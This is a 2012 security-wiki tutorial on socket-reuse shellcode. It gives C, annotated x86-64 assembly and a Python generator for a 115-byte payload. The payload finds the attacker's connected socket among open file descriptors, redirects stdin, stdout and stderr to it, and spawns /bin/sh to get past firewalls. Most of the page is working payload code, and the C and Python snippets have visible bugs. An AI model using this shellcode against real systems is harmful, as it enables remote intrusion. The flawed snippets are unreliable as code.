Questions about this topic? Sign up to ask in the talk tab.

Shellcode/Socket-reuse

From NetSec
Revision as of 10:52, 26 November 2012 by LashawnSeccombe (Talk | contribs) (Firewall bypass via dynamic file descriptor re-use)

Jump to: navigation, search

Usually, shellcode developers have provided bindshells and connectback shells. Both of these require a permissive firewall to some extent or another. However, because sockets are treated as file descriptors by most operating systems, it is possible to examine existing socket connections, so it is possible to simply bind a shell to the socket that the exploit shellcode came from.


By parsing through the open file descriptors in the context of the exploited process, it is possible to identify the socket file descriptor which a remote exploit came in on. This form of re-use can allow attackers to further execute code without the necessity to further circumvent any network level firewall restrictions.

c3el4.png
The code and ideas discussed here are part of an all-encompassing shellcode portal. Everything described here and the full source of any given code is available in the appendix, as well as in the downloadable shellcodecs package.


Firewall bypass via dynamic file descriptor re-use

We iterate over all 65535 possible file descriptors. For each one, we call getpeername() which populates a sockaddr struct with the IP address and port of the peer on the socket (or returns -1 if it is not a socket or a socket but not connected). When we have found a socket that matches, we use dup2() to copy stdin, stdout, and stderr to our socket's file descriptor, then execute /bin/sh.

Theory

 
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
 
#define PORT_NO 1025
#define ADDR    "127.0.0.1"
 
int main(int argc, const char *argv[])
{
  int test_getpeername;
  struct sockaddr_in *s;
  socklen_t s_len = sizeof(s);
  struct in_addr *inet_address;  
  inet_pton(AF_INET, ADDR, inet_address);
 
  for(int port=0; port<65535; port++){
    if(getpeername(port, (struct sockaddr*) &s, &s_len) != 0)
      continue;
 
    if (s->sin_port != PORT_NO || s->sin_addr.s_addr != inet_address->s_addr)
      continue;
 
    for (int i=0; i<4; i++)
      dup2(port, i);
 
    execve("/bin/sh", NULL, NULL);
  }
  return 0;
}

Iterating Over File Descriptors

The first thing we do is iterate over all file descriptors.

This shellcode begins with an unconditional jump to start, allowing it to call backwards to exit when needed.

 
jmp start
 


Our exit function simply calls exit, since rdi will have a number in it we omitted xoring this to zero to save three bytes.

 
exit:
  push $0x3c
  pop %rax
  syscall
 


The start function sets the counter for file descriptors to two to skip over stdin, stderr, and stdout:

 
start:
  push $0x02
  pop %rdi
 


Then to initialize the sockaddr struct, a pointer to %rsp - 0x14 is placed into %rdx, and then 0x10 is placed at %rdx's location (0x10 is the length of sockaddr struct, required by getpeername()):

 
make_fd_struct:
  lea -0x14(%rsp), %rdx
  movb $0x10, (%rdx)
 


Then a pointer to %rdx + 4 (the sockaddr struct) is placed into %rsi:

 
  lea 0x4(%rdx), %rsi # move struct into rsi
 


The loop increments %di and jumps to exit if it zeroes out.

c3el4.png %di is the lower order word of %rdi.
 
loop:
  inc %di
 


As %di increments it will overflow into %edi once it hits 65536, making %di zero, so when the inc instruction reaches zero, the zero flag is set and we can jump to exit:

 
  jz exit
 


Our stack fix resets the stack pointer to the struct after each iteration.

 
stack_fix:
  lea 0x14(%rdx), %rsp
 

getpeername()

To execute getpeername(fd, sockaddr_struct), we subtract 0x20 from the stack pointer then push the system call number for getpeername (0x34) into %rax.

 
get_peer_name:
  sub $0x20, %rsp
  push $0x34
  pop %rax
  syscall
 

After getpeername executes, we test that it returns 0 (it executed successfully against a connected socket), and if it does not, we jump back up to the start of the loop.

 
check_pn_success:
  test %al, %al
  jne loop
 

Checking the socket

We then check the source IP and source port of the socket (if we have gotten this far, the socket is a connected peer, we just do not know if it is our socket at this point).

First we setup our indexed reference to our IP by putting 0x1b (our offset) into %rcx.

 
; If we make it here, rbx and rax are 0
check_ip:
  push $0x1b
  pop %rcx
 

We then move our IP address that has been xored with 0xffffffff into %ebx.

 
  mov $0xfeffff80, %ebx
 

We "not" this IP (identical to xor 0xffffff), this converts our xored IP into the original (in this case, 127.0.0.1).

 
  not %ebx
 

We compare this decoded value with the IP address returned by getpeername(), which is located at the offset 0x1b.

 
  cmpl %ebx, (%rsp,%rcx,4)      
 

If this matches we continue, otherwise we jump back to the start of the loop.

 
  jne loop
 

Then we check our port using the same xor and not technique at offset 0x35. If the port is incorrect, the code goes back to the beginning of the loop.

 
check_port:
  movb $0x35, %cl
  mov $0x2dfb, %bx
  not %ebx
  cmpw %bx,(%rsp, %rcx ,2) ; (%rbp,%rsi,2)
  jne loop
 
Protip: If your IP address and port translated to hexadecimal do not contain null bytes, you can save four bytes by hardcoding them directly (removing the not instruction).


dup2()

Now that we have our correct file descriptor, we can use dup2() to redirect stdout, stderr, and stdin to our socket.

This way, when we execute /bin/sh, the read() and write() functions will use our socket instead of the standard file descriptors.

 
reuse:
  push %rax
  push %rax
  pop %rsi
 
  dup_loop:       # redirect stdin, stdout, stderr to socket
    push $0x21
    pop %rax
    syscall
    inc %esi
    cmp $0x4, %esi
    jne dup_loop
 

execve()

Finally, we exececute /bin/sh using the shellcode from earlier in the article:

 
execve:
  pop %rdi
  push %rdi                      
  push %rdi
  pop %rsi                     
  pop %rdx                       # Null out %rdx and %rdx (second and third argument)
  mov $0x68732f6e69622f6a,%rdi   # move 'hs/nib/j' into %rdi
  shr $0x8,%rdi                  # null truncate the backwards value to '\0hs/nib/'
  push %rdi      
  push %rsp 
  pop %rdi                       # %rdi is now a pointer to '/bin/sh\0'
  push $0x3b                     
  pop %rax                       # set %rax to function # for execve()
  syscall                        # execve('/bin/sh',null,null);
 

Generator

Once this is assembled and the opcodes are extracted we can create a generator in python that will accept a port and IP address from command-line, then convert them into the correct format for the shellcode. The generator then prints the completed shellcode for later use.

 
#!/usr/bin/python2.7
import socket, sys
 
def convert_ip(ip):
  ip = ip.split('.')
  new_addr = ""
  for i in ip:
    new_addr += "\\x" + hex(0xff ^ int(i))[2:]
  return new_addr
 
def convert_port(port):
  port = hex(0xffff ^ int(port))[2:]
  port1 = port[0:2]
  port2 = port[2:4]
  return "\\x" + port1 + "\\x" + port2
 
shellcode_1 = \
"\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10" \
"\\x48\\x8d\\x72\\x04\\x66\\xff\\xc7\\x74\\xe7\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x6a" \
"\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xea\\x6a\\x1b\\x59\\xbb" 
 
shellcode_2 = "\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xdb\\xb1\\x35\\x66\\xbb"
 
shellcode_3 = \
"\\xf7\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xcd\\x50\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \
"\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f" \
"\\x73\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05"
 
if len(sys.argv) != 3:
  print("Usage: " + sys.argv[0] + " <source IP> <source port>")
  exit()
 
shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3
for lin in re.findall(".?"*64, shellcode):
  if lin != "":
    print("\"" + lin + "\"")
 

The test program, sender, generator, and full code for the shellcode are in the appendix tarball. Our final generated shellcode comes out to 115 bytes.